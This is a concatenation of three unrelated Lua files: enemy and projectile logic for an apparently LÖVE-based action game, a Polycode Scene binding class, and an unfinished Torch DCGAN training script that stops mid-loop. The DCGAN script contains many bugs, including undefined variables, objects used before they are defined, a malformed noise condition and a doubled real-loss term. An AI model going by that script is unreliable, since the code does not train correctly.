Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 10, dmg = projectile.parent.dmg, parent = projectile.parent}
end
end)
end
if self.hp <= 0 then
self.dead = true
for i = 1, random:int(4, 6) do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 12}:scale_down(0.3):change_color(0.5, self.color)
_G[random:table{'enemy_die1', 'enemy_die2'}]:play{pitch = random:float(0.9, 1.1), volume = 0.5}
if main.current.mercenary_level > 0 then
if random:bool((main.current.mercenary_level == 2 and 16) or (main.current.mercenary_level == 1 and 8) or 0) then
trigger:after(0.01, function()
Gold{group = main.current.main, x = self.x, y = self.y}
end)
end
end
if main.current.healer_level > 0 then
if random:bool((main.current.healer_level == 2 and 16) or (main.current.healer_level == 1 and 8) or 0) then
trigger:after(0.01, function()
HealingOrb{group = main.current.main, x = self.x, y = self.y}
end)
end
end
if self.boss then
slow(0.25, 1)
magic_die1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
end
if self.speed_booster then
if self.silenced or self.barbarian_stunned then return end
local enemies = self:get_objects_in_shape(self.area_sensor, main.current.enemies)
if #enemies > 0 then
buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = green[0], duration = 0.1}
for _, enemy in ipairs(enemies) do
LightningLine{group = main.current.effects, src = self, dst = enemy, color = green[0]}
enemy:speed_boost(3)
end
end
end
if self.exploder then
if self.silenced or self.barbarian_stunned then return end
mine1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
trigger:after(0.01, function()
ExploderMine{group = main.current.main, x = self.x, y = self.y, color = blue[0], parent = self}
end)
end
if self.spawner then
if self.silenced or self.barbarian_stunned then return end
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.35}
trigger:after(0.01, function()
for i = 1, random:int(5, 8) do
EnemyCritter{group = main.current.main, x = self.x, y = self.y, color = purple[0], r = random:float(0, 2*math.pi), v = 10 + 0.1*self.level, dmg = 2*self.dmg, projectile = projectile}
end
end)
end
if pyrod then
trigger:after(0.01, function()
Area{group = main.current.main, x = self.x, y = self.y, color = red[0], w = 32*pyrod.parent.area_size_m, r = random:float(0, 2*math.pi), dmg = pyrod.parent.area_dmg_m*pyrod.dmg,
character = pyrod.character, level = pyrod.level, parent = pyrod.parent}
end)
end
if projectile and projectile.spawn_critters_on_kill then
trigger:after(0.01, function()
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
for i = 1, projectile.spawn_critters_on_kill do
Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 5, dmg = projectile.parent.dmg, parent = projectile.parent}
end
end)
end
if self.infested then
critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
trigger:after(0.01, function()
if type(self.infested) == 'number' then
for i = 1, self.infested do
Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 10, dmg = self.infested_dmg, parent = self.infested_ref}
end
end
end)
end
if self.jester_cursed then
trigger:after(0.01, function()
if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then return end
_G[random:table{'scout1', 'scout2'}]:play{pitch = random:float(0.95, 1.05), volume = 0.35}
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6}
local r = random:float(0, 2*math.pi)
for i = 1, 4 do
local t = {group = main.current.main, x = self.x + 8*math.cos(r), y = self.y + 8*math.sin(r), v = 250, r = r, color = red[0], dmg = self.jester_ref.dmg,
pierce = self.jester_lvl3 and 2 or 0, homing = self.jester_lvl3, character = self.jester_ref.character, parent = self.jester_ref}
Projectile(table.merge(t, mods or {}))
r = r + math.pi/2
end
end)
end
if self.bane_cursed then
trigger:after(0.01, function()
DotArea{group = main.current.effects, x = self.x, y = self.y, rs = (self.bane_ref.level == 3 and 2 or 1)*self.bane_ref.area_size_m*18, color = purple[0],
dmg = self.bane_ref.area_dmg_m*self.bane_ref.dmg*(self.bane_ref.dot_dmg_m or 1), void_rift = true, duration = 1}
end)
end
end
end
function Seeker:push(f, r, push_invulnerable)
local n = 1
if self.tank then n = 0.7 end
if self.boss then n = 0.2 end
if self.level == 25 and self.boss then n = 0.7 end
self.push_invulnerable = push_invulnerable
self.push_force = n*f
self.being_pushed = true
self.steering_enabled = false
self:apply_impulse(n*f*math.cos(r), n*f*math.sin(r))
self:apply_angular_impulse(random:table{random:float(-12*math.pi, -4*math.pi), random:float(4*math.pi, 12*math.pi)})
self:set_damping(1.5*(1/n))
self:set_angular_damping(1.5*(1/n))
end
function Seeker:speed_boost(duration)
self.speed_boosting = love.timer.getTime()
self.t:after(duration, function() self.speed_boosting = false end, 'speed_boost')
end
function Seeker:slow(amount, duration)
self.slowed = amount
self.t:after(duration, function() self.slowed = false end, 'slow')
end
function Seeker:curse(curse, duration, arg1, arg2, arg3)
if main.current.player.whispers_of_doom then
if not self.doom then self.doom = 0 end
self.doom = self.doom + 1
if self.doom == ((main.current.player.whispers_of_doom == 1 and 4) or (main.current.player.whispers_of_doom == 2 and 3) or (main.current.player.whispers_of_doom == 3 and 2)) then
self.doom = 0
self:hit((main.current.player.whispers_of_doom == 1 and 100) or (main.current.player.whispers_of_doom == 2 and 150) or (main.current.player.whispers_of_doom == 3 and 200))
buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
ui_switch1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
end
end
if main.current.player.hextouch then
local p = main.current.player
local dmg = (p.hextouch == 1 and 10) or (p.hextouch == 2 and 15) or (p.hextouch == 3 and 20)
self:apply_dot(dmg*(p.dot_dmg_m or 1)*(main.current.chronomancer_dot or 1), 3)
end
buff1:play{pitch = random:float(0.65, 0.75), volume = 0.25}
if curse == 'launcher' then
self.t:after(duration, function()
self.launcher_push = arg1
self.launcher = arg2
self:push(random:float(50, 75)*self.launcher.knockback_m, random:table{0, math.pi, math.pi/2, -math.pi/2})
end, 'launcher_curse')
elseif curse == 'jester' then
self.jester_cursed = true
self.jester_lvl3 = arg1
self.jester_ref = arg2
self.t:after(duration, function() self.jester_cursed = false end, 'jester_curse')
elseif curse == 'bane' then
self.bane_cursed = true
self.bane_lvl3 = arg1
self.bane_ref = arg2
self.t:after(duration, function() self.bane_cursed = false end, 'bane_curse')
elseif curse == 'infestor' then
self.infested = arg1
self.infested_dmg = arg2
self.infested_ref = arg3
self.t:after(duration, function() self.infested = false end, 'infestor_curse')
elseif curse == 'silencer' then
self.silenced = true
self.t:after(duration, function() self.silenced = false end, 'silencer_curse')
elseif curse == 'usurer' then
if arg1 then
self.usurer_count = self.usurer_count + 1
if self.usurer_count == 3 then
usurer1:play{pitch = random:float(0.95, 1.05), volume = 1}
rogue_crit1:play{pitch = random:float(0.95, 1.05), volume = 1}
camera:shake(4, 0.4)
self.usurer_count = 0
self:hit(50*arg2.dmg)
end
end
end
end
function Seeker:apply_dot(dmg, duration)
self.t:every(0.25, function()
hit2:play{pitch = random:float(0.8, 1.2), volume = 0.2}
self:hit(dmg/4, nil, true)
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = fg[0], duration = 0.1}
for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end
for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = purple[0]} end
end, math.floor(duration/0.2))
end
ExploderMine = Object:extend()
ExploderMine:implement(GameObject)
function ExploderMine:init(args)
self:init_game_object(args)
self.hfx:add('hit', 1)
self.vr = 0
self.dvr = random:float(-math.pi/4, math.pi/4)
self.rs = 0
self.t:tween(0.05, self, {rs = args.rs}, math.cubic_in_out, function()
self.spring:pull(0.15)
self.t:every(0.8 - current_new_game_plus*0.1, function()
mine1:play{pitch = 1 + self.t:get_every_iteration'mine_count'*0.1, volume = 0.5}
self.spring:pull(0.5, 200, 10)
self.hfx:use('hit', 0.5, 200, 10, 0.2)
end, 3, function()
shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.4}
cannoneer1:play{pitch = random:float(0.95, 1.05), volume = 0.4}
for i = 1, 4 do HitParticle{group = main.current.effects, x = self.x, y = self.y, r = random:float(0, 2*math.pi), color = self.color} end
HitCircle{group = main.current.effects, x = self.x, y = self.y}
local n = math.floor(8 + current_new_game_plus*1.5)
for i = 1, n do
EnemyProjectile{group = main.current.main, x = self.x, y = self.y, color = blue[0], r = (i-1)*math.pi/(n/2), v = 120 + 5*self.parent.level, dmg = 1.3*self.parent.dmg}
end
self.dead = true
end, 'mine_count')
end)
end
function ExploderMine:update(dt)
self:update_game_object(dt)
self.vr = self.vr + self.dvr*dt
end
function ExploderMine:draw()
graphics.push(self.x, self.y, 0, self.spring.x, self.spring.x)
graphics.circle(self.x, self.y, 2.5, self.hfx.hit.f and fg[0] or self.color)
graphics.pop()
end
EnemyCritter = Object:extend()
EnemyCritter:implement(GameObject)
EnemyCritter:implement(Physics)
EnemyCritter:implement(Unit)
function EnemyCritter:init(args)
self:init_game_object(args)
if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then self.dead = true; return end
self:init_unit()
self:set_as_rectangle(7, 4, 'dynamic', 'enemy_projectile')
self:set_restitution(0.5)
self.classes = {'enemy_critter'}
self:calculate_stats(true)
self:set_as_steerable(self.v, 400, math.pi, 1)
self:push(args.v, args.r)
self.invulnerable_to = args.projectile
self.t:after(0.5, function() self.invulnerable_to = false end)
self.usurer_count = 0
end
function EnemyCritter:update(dt)
self:update_game_object(dt)
if self.slowed then self.slow_mvspd_m = self.slowed
else self.slow_mvspd_m = 1 end
self.buff_mvspd_m = (self.speed_boosting_mvspd_m or 1)*(self.slow_mvspd_m or 1)*(self.temporal_chains_mvspd_m or 1)
if not self.classes then return end
self:calculate_stats()
if self.being_pushed then
local v = math.length(self:get_velocity())
if v < 50 then
self.being_pushed = false
self.steering_enabled = true
self:set_damping(0)
self:set_angular_damping(0)
end
else
local player = main.current.player
self:seek_point(player.x, player.y)
self:wander(50, 200, 50)
self:steering_separate(8, main.current.enemies)
self:rotate_towards_velocity(1)
end
self.r = self:get_angle()
end
function EnemyCritter:draw()
graphics.push(self.x, self.y, self.r, self.hfx.hit.x, self.hfx.hit.x)
graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 2, 2, self.hfx.hit.f and fg[0] or self.color)
graphics.pop()
end
function EnemyCritter:hit(damage, projectile)
if self.dead then return end
-- print(projectile == self.invulnerable_to)
if projectile == self.invulnerable_to then return end
self.hfx:use('hit', 0.25, 200, 10)
self.hp = self.hp - math.max(damage, 0)
self:show_hp()
if self.hp <= 0 then self:die() end
end
function EnemyCritter:push(f, r)
self.push_force = f
self.being_pushed = true
self.steering_enabled = false
self:apply_impulse(f*math.cos(r), f*math.sin(r))
self:apply_angular_impulse(random:table{random:float(-12*math.pi, -4*math.pi), random:float(4*math.pi, 12*math.pi)})
self:set_damping(1.5)
self:set_angular_damping(1.5)
end
function EnemyCritter:die(x, y, r, n)
if self.dead then return end
x = x or self.x
y = y or self.y
n = n or random:int(2, 3)
for i = 1, n do HitParticle{group = main.current.effects, x = x, y = y, r = random:float(0, 2*math.pi), color = self.color} end
HitCircle{group = main.current.effects, x = x, y = y}:scale_down()
self.dead = true
_G[random:table{'enemy_die1', 'enemy_die2'}]:play{pitch = random:float(0.9, 1.1), volume = 0.5}
critter2:play{pitch = random:float(0.95, 1.05), volume = 0.2}
end
function EnemyCritter:on_collision_enter(other, contact)
local x, y = contact:getPositions()
local nx, ny = contact:getNormal()
local r = 0
if nx == 0 and ny == -1 then r = -math.pi/2
elseif nx == 0 and ny == 1 then r = math.pi/2
elseif nx == -1 and ny == 0 then r = math.pi
else r = 0 end
if other:is(Wall) then
self.hfx:use('hit', 0.15, 200, 10, 0.1)
self:bounce(contact:getNormal())
end
end
function EnemyCritter:on_trigger_enter(other, contact)
if other:is(Player) then
self:die(self.x, self.y, nil, random:int(2, 3))
other:hit(self.dmg)
end
end
function EnemyCritter:speed_boost(duration)
self.speed_boosting = love.timer.getTime()
self.t:after(duration, function() self.speed_boosting = false end, 'speed_boost')
end
function EnemyCritter:slow(amount, duration)
self.slowed = amount
self.t:after(duration, function() self.slowed = false end, 'slow')
end
function EnemyCritter:curse(curse, duration, arg1, arg2, arg3)
if main.current.player.whispers_of_doom then
if not self.doom then self.doom = 0 end
self.doom = self.doom + 1
if self.doom == 4 then
self.doom = 0
self:hit(200)
buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
ui_switch1:play{pitch = random:float(0.95, 1.05), volume = 0.5}
end
end
if curse == 'launcher' then
self.t:after(duration, function()
self.launcher_push = arg1
self.launcher = arg2
self:push(random:float(50, 75)*self.launcher.knockback_m, random:table{0, math.pi, math.pi/2, -math.pi/2})
end, 'launcher_curse')
elseif curse == 'jester' then
self.jester_cursed = true
self.jester_lvl3 = arg1
self.jester_ref = arg2
self.t:after(duration, function() self.jester_cursed = false end, 'jester_curse')
elseif curse == 'bane' then
self.bane_cursed = true
self.bane_lvl3 = arg1
self.bane_ref = arg2
self.t:after(duration, function() self.bane_cursed = false end, 'bane_curse')
elseif curse == 'infestor' then
self.infested = arg1
self.infested_dmg = arg2
self.infested_ref = arg3
self.t:after(duration, function() self.infested = false end, 'infestor_curse')
elseif curse == 'silencer' then
self.silenced = true
self.t:after(duration, function() self.silenced = false end, 'silencer_curse')
elseif curse == 'usurer' then
if arg1 then
self.usurer_count = self.usurer_count + 1
if self.usurer_count == 3 then
self.usurer_count = 0
self:hit(10*arg2.dmg)
end
end
end
end
function EnemyCritter:apply_dot(dmg, duration)
self.t:every(0.25, function()
hit2:play{pitch = random:float(0.8, 1.2), volume = 0.2}
self:hit(dmg/4)
HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = fg[0], duration = 0.1}
for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end
for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = purple[0]} end
end, math.floor(duration/0.2))
end
EnemyProjectile = Object:extend()
EnemyProjectile:implement(GameObject)
EnemyProjectile:implement(Physics)
function EnemyProjectile:init(args)
self:init_game_object(args)
if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then self.dead = true; return end
self:set_as_rectangle(10, 4, 'dynamic', 'enemy_projectile')
end
function EnemyProjectile:update(dt)
self:update_game_object(dt)
self:set_angle(self.r)
self:move_along_angle(self.v, self.r)
end
function EnemyProjectile:draw()
graphics.push(self.x, self.y, self.r)
graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 2, 2, self.color)
graphics.pop()
end
function EnemyProjectile:die(x, y, r, n)
if self.dead then return end
x = x or self.x
y = y or self.y
n = n or random:int(3, 4)
for i = 1, n do HitParticle{group = main.current.effects, x = x, y = y, r = random:float(0, 2*math.pi), color = self.color} end
HitCircle{group = main.current.effects, x = x, y = y}:scale_down()
self.dead = true
proj_hit_wall1:play{pitch = random:float(0.9, 1.1), volume = 0.05}
end
function EnemyProjectile:on_collision_enter(other, contact)
local x, y = contact:getPositions()
local nx, ny = contact:getNormal()
local r = 0
if nx == 0 and ny == -1 then r = -math.pi/2
elseif nx == 0 and ny == 1 then r = math.pi/2
elseif nx == -1 and ny == 0 then r = math.pi
else r = 0 end
if other:is(Wall) then
self:die(x, y, r, random:int(2, 3))
end
end
function EnemyProjectile:on_trigger_enter(other, contact)
if other:is(Player) then
self:die(self.x, self.y, nil, random:int(2, 3))
other:hit(self.dmg)
elseif other:is(Critter) then
if main.current.player.meat_shield then
self:die(self.x, self.y, nil, random:int(2, 3))
other:hit(1000)
end
elseif other:is(Seeker) or other:is(EnemyCritter) then
if self.source == 'shooter' then
self:die(self.x, self.y, nil, random:int(2, 3))
other:hit(0.5*self.dmg)
end
end
end
|
require "Polycode/EventDispatcher"
class "Scene" (EventDispatcher)
ENTITY_MESH = 0
ENTITY_LIGHT = 1
ENTITY_CAMERA = 2
ENTITY_ENTITY = 3
ENTITY_COLLMESH = 4
function Scene:__index__(name)
if name == "clearColor" then
retVal = Polycore.Scene_get_clearColor(self.__ptr)
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
elseif name == "useClearColor" then
return Polycore.Scene_get_useClearColor(self.__ptr)
elseif name == "ambientColor" then
retVal = Polycore.Scene_get_ambientColor(self.__ptr)
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
elseif name == "fogColor" then
retVal = Polycore.Scene_get_fogColor(self.__ptr)
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
elseif name == "enabled" then
return Polycore.Scene_get_enabled(self.__ptr)
end
end
function Scene:__set_callback(name,value)
if name == "useClearColor" then
Polycore.Scene_set_useClearColor(self.__ptr, value)
return true
elseif name == "enabled" then
Polycore.Scene_set_enabled(self.__ptr, value)
return true
end
return false
end
function Scene:Scene(...)
if type(arg[1]) == "table" and count(arg) == 1 then
if ""..arg[1]:class() == "EventDispatcher" then
self.__ptr = arg[1].__ptr
return
end
end
for k,v in pairs(arg) do
if type(v) == "table" then
if v.__ptr ~= nil then
arg[k] = v.__ptr
end
end
end
if self.__ptr == nil and arg[1] ~= "__skip_ptr__" then
self.__ptr = Polycore.Scene(unpack(arg))
Polycore.__ptr_lookup[self.__ptr] = self
end
end
function Scene:addEntity(entity)
local retVal = Polycore.Scene_addEntity(self.__ptr, entity.__ptr)
end
function Scene:removeEntity(entity)
local retVal = Polycore.Scene_removeEntity(self.__ptr, entity.__ptr)
end
function Scene:getDefaultCamera()
local retVal = Polycore.Scene_getDefaultCamera(self.__ptr)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = Camera("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:enableLighting(enable)
local retVal = Polycore.Scene_enableLighting(self.__ptr, enable)
end
function Scene:enableFog(enable)
local retVal = Polycore.Scene_enableFog(self.__ptr, enable)
end
function Scene:setFogProperties(fogMode, color, density, startDepth, _endDepth)
local retVal = Polycore.Scene_setFogProperties(self.__ptr, fogMode, color.__ptr, density, startDepth, _endDepth)
end
function Scene:Update()
local retVal = Polycore.Scene_Update(self.__ptr)
end
function Scene:setVirtual(val)
local retVal = Polycore.Scene_setVirtual(self.__ptr, val)
end
function Scene:isVirtual()
local retVal = Polycore.Scene_isVirtual(self.__ptr)
return retVal
end
function Scene:isEnabled()
local retVal = Polycore.Scene_isEnabled(self.__ptr)
return retVal
end
function Scene:setEnabled(enabled)
local retVal = Polycore.Scene_setEnabled(self.__ptr, enabled)
end
function Scene:getNumEntities()
local retVal = Polycore.Scene_getNumEntities(self.__ptr)
return retVal
end
function Scene:getEntity(index)
local retVal = Polycore.Scene_getEntity(self.__ptr, index)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:getEntityAtScreenPosition(x, y)
local retVal = Polycore.Scene_getEntityAtScreenPosition(self.__ptr, x, y)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:Render(targetCamera)
local retVal = Polycore.Scene_Render(self.__ptr, targetCamera.__ptr)
end
function Scene:RenderDepthOnly(targetCamera)
local retVal = Polycore.Scene_RenderDepthOnly(self.__ptr, targetCamera.__ptr)
end
function Scene:readString(inFile)
local retVal = Polycore.Scene_readString(inFile.__ptr)
return retVal
end
function Scene:loadScene(fileName)
local retVal = Polycore.Scene_loadScene(self.__ptr, fileName)
end
function Scene:generateLightmaps(lightMapRes, lightMapQuality, numRadPasses)
local retVal = Polycore.Scene_generateLightmaps(self.__ptr, lightMapRes, lightMapQuality, numRadPasses)
end
function Scene:addLight(light)
local retVal = Polycore.Scene_addLight(self.__ptr, light.__ptr)
end
function Scene:getNearestLight(pos)
local retVal = Polycore.Scene_getNearestLight(self.__ptr, pos.__ptr)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneLight("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:writeEntityMatrix(entity, outFile)
local retVal = Polycore.Scene_writeEntityMatrix(self.__ptr, entity.__ptr, outFile.__ptr)
end
function Scene:writeString(str, outFile)
local retVal = Polycore.Scene_writeString(self.__ptr, str, outFile.__ptr)
end
function Scene:saveScene(fileName)
local retVal = Polycore.Scene_saveScene(self.__ptr, fileName)
end
function Scene:getNumStaticGeometry()
local retVal = Polycore.Scene_getNumStaticGeometry(self.__ptr)
return retVal
end
function Scene:getStaticGeometry(index)
local retVal = Polycore.Scene_getStaticGeometry(self.__ptr, index)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneMesh("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:loadCollisionChild(entity, autoCollide, type)
local retVal = Polycore.Scene_loadCollisionChild(self.__ptr, entity.__ptr, autoCollide, type)
end
function Scene:getNumLights()
local retVal = Polycore.Scene_getNumLights(self.__ptr)
return retVal
end
function Scene:getLight(index)
local retVal = Polycore.Scene_getLight(self.__ptr, index)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneLight("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:getCustomEntityByType(type)
local retVal = Polycore.Scene_getCustomEntityByType(self.__ptr, type)
if retVal == nil then return nil end
if Polycore.__ptr_lookup[retVal] ~= nil then
return Polycore.__ptr_lookup[retVal]
else
Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__")
Polycore.__ptr_lookup[retVal].__ptr = retVal
return Polycore.__ptr_lookup[retVal]
end
end
function Scene:__delete()
Polycore.__ptr_lookup[self.__ptr] = nil
Polycore.delete_Scene(self.__ptr)
end
|
-- inspired from github.com/soumith/dcgan.torch
require 'torch'
require 'nn'
require 'optim'
-- various otions for training
opt = {
gpu = 1, -- by default uses it
num_epoch = 1000, -- ??
batch_size = 1, -- ??
ntrain = 100, -- ??
display_id = 10, -- ??????
name = "Experiment",
nThreads = 4,
dataset = 'lsun',
niter = 25, --- ???
momentum = .5, -- ????
lr = .0001, -- ???
noise = 'normal',
fineSize = 64,
batchSize = 1,
nz = 100, -- ?????
ngf = 64, -- ??
display = 1,
ndf = 64, -- ???
}
for field,value in ipairs(opt) do
opt[field] = tonumber(os.getenv(k)) or os.getenv(k) or opt[k]
end
if opt.display == 0 then opt.display = false
end
if opt.display then disp = require 'display' end
opt.manualSeed = torch.random(1, 10000) -- fix seed
print("Random Seed: " .. opt.manualSeed)
torch.manualSeed(opt.manualSeed)
torch.setnumthreads(1)
torch.setdefaulttensortype('torch.FloatTensor')
-- create data loader
local DataLoader = paths.dofile('data/data.lua')
local data = DataLoader.new(opt.nThreads, opt.dataset, opt)
print("Dataset: " .. opt.dataset, " Size: ", data:size())
--------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------
-- Initializing weights for the network
local function init_weights(model)
local name_model = torch.type(model)
if name:find('Convolution') then
m.weight:normal() -- define them later
m:noBias() -- try using biases later
elseif name:find('BatchNormalization') then
if m.weight then m.weight:normal() end -- define later
if m.bias then m.bias:fill(0) end -- define later
end
end
local real_label = 1
local fake_label = 0
local noise = torch.Tensor(opt.batchSize,nz,1,1)
local input = torch.Tensor(opt.batchSize, 3, opt.fineSize, opt.fineSize)
local errD, errG
local nc = 3
local nz = opt.nz
local ndf = opt.ndf
local ngf = opt.ngf
local epoch_tm = torch.Timer()
local batch_tm = torch.Timer()
local data_tm = torch.Timer()
optimStateD = {
learningRate = opt.lr,
beta1 = opt.beta1,
}
optimStateG = {
learningRate = opt.lr,
beta1 = opt.beta1,
}
if opt.gpu > 0 then
require 'cunn'
cutorch.setDevice(opt.gpu)
input = input:cuda(); noise = noise:cuda(); label = label:cuda()
if pcall(require, 'cudnn') then
require 'cudnn'
cudnn.benchmark = true
cudnn.convert(netG, cudnn)
cudnn.convert(netD, cudnn)
end
netD:cuda();
netG:cuda();
criterion:cuda()
end
local parametersD,gradParametersD = netD:getParameters()
local parametersG,gradParametersG = netG:getParameters()
-----------------------------------------
-- Models -------------------------------
-----------------------------------------
local SpatialBatchNormalization = nn.SpatialBatchNormalization
local SpatialConvolution = nn.SpatialConvolution
local SpatialFullConvolution = nn.SpatialFullConvolution
--Generator------------------------------
local netG = nn.Sequential()
-- input is Z, going into a convolution
netG:add(SpatialFullConvolution(nz, ngf * 8, 4, 4))
netG:add(SpatialBatchNormalization(ngf * 8)):add(nn.ReLU(true))
-- state size: (ngf*8) x 4 x 4
netG:add(SpatialFullConvolution(ngf * 8, ngf * 4, 4, 4, 2, 2, 1, 1))
netG:add(SpatialBatchNormalization(ngf * 4)):add(nn.ReLU(true))
-- state size: (ngf*4) x 8 x 8
netG:add(SpatialFullConvolution(ngf * 4, ngf * 2, 4, 4, 2, 2, 1, 1))
netG:add(SpatialBatchNormalization(ngf * 2)):add(nn.ReLU(true))
-- state size: (ngf*2) x 16 x 16
netG:add(SpatialFullConvolution(ngf * 2, ngf, 4, 4, 2, 2, 1, 1))
netG:add(SpatialBatchNormalization(ngf)):add(nn.ReLU(true))
-- state size: (ngf) x 32 x 32
netG:add(SpatialFullConvolution(ngf, nc, 4, 4, 2, 2, 1, 1))
netG:add(nn.Tanh())
-- state size: (nc) x 64 x 64
netG:apply(weights_init)
--Discriminator----------------------------
local netD = nn.Sequential()
-- ????????????????????
-- input is (nc) x 64 x 64
netD:add(SpatialConvolution(nc, ndf, 4, 4, 2, 2, 1, 1))
netD:add(nn.LeakyReLU(0.2, true))
-- state size: (ndf) x 32 x 32
netD:add(SpatialConvolution(ndf, ndf * 2, 4, 4, 2, 2, 1, 1))
netD:add(SpatialBatchNormalization(ndf * 2)):add(nn.LeakyReLU(0.2, true))
-- state size: (ndf*2) x 16 x 16
netD:add(SpatialConvolution(ndf * 2, ndf * 4, 4, 4, 2, 2, 1, 1))
netD:add(SpatialBatchNormalization(ndf * 4)):add(nn.LeakyReLU(0.2, true))
-- state size: (ndf*4) x 8 x 8
netD:add(SpatialConvolution(ndf * 4, ndf * 8, 4, 4, 2, 2, 1, 1))
netD:add(SpatialBatchNormalization(ndf * 8)):add(nn.LeakyReLU(0.2, true))
-- state size: (ndf*8) x 4 x 4
netD:add(SpatialConvolution(ndf * 8, 1, 4, 4))
netD:add(nn.Sigmoid())
-- state size: 1 x 1 x 1
netD:add(nn.View(1):setNumInputDims(3))
-- state size: 1
netD:apply(weights_init)
---Criterion-----------------------------
local criterion = nn.BCECriterion()
local criterion_absolute = nn.AbsCriterion()
--- Gradient_Calculators-----------------
local fDx = function(x)
gradParametersD:zero()
data_tm:reset()
local real = data:getBatch()
data_tm:stop()
input:copy(real)
label:fill(real_label)
local output = netD:forward(input)
local errD_real = criterion:forward(input,label)
local df_by_do = criterion:backward(output,label) -- find the d(function)/d(output)
netD:backward(input, df_by_do) -- do back propogation
if opt.noise == 'uniform' then
noise:uniform(-1,1)
else if opt.noise == 'normal then' then
noise:normal(0,1)
end
local fake = netG:forward(noise)
input:copy(fake)
label:fill(fake_label)
local output = netD:forward(input)
local errD_fake = criterion:forward(input,label)
local df_by_do = criterion:backward( output, label)
netD:backward(input,df_by_do)
errD = errD_real + errD_real
return err_D,gradParametersD
end
local fGx = function(x)
gradParametersG:zero()
label:fill(real_label)
local output = netD.output
errG = criterion:forward(output,real_label)
local df_by_do = criterion:backward()
local df_by_dg = netD:updateGradInput(input,df_by_do)
netG:backward(noise,df_by_dg)
return errG,gradParametersD
end
----------------------------------
-- training
-----------------------------------------
noise_vis = noise:clone()
if opt.noise == 'uniform' then
noise_vis:uniform(-1, 1)
elseif opt.noise == 'normal' then
noise_vis:normal(0, 1)
end
for epoch =1,opt.num_epoch do epoch_tm:reset()
local count = 0
for i = 1,math.min(data:size(),opt.ntrain),opt.batch_size do
batch_tm:reset()
-- Update the Discriminator network and the Generator networks
optim.adam(fDx, parametersD, optimStateD)
optim.adam(fGx, parametersG, optimStateG)
counter = counter + 1
if counter % 10 == 0 and opt.display_images == 1 then
local fake = netG:forward(noise_input)
local real = data:getBatch()
disp.image(fake, {win=opt.display_id, title=opt.name})
disp.image(real, {win=opt.display_id * 3, title=opt.name})
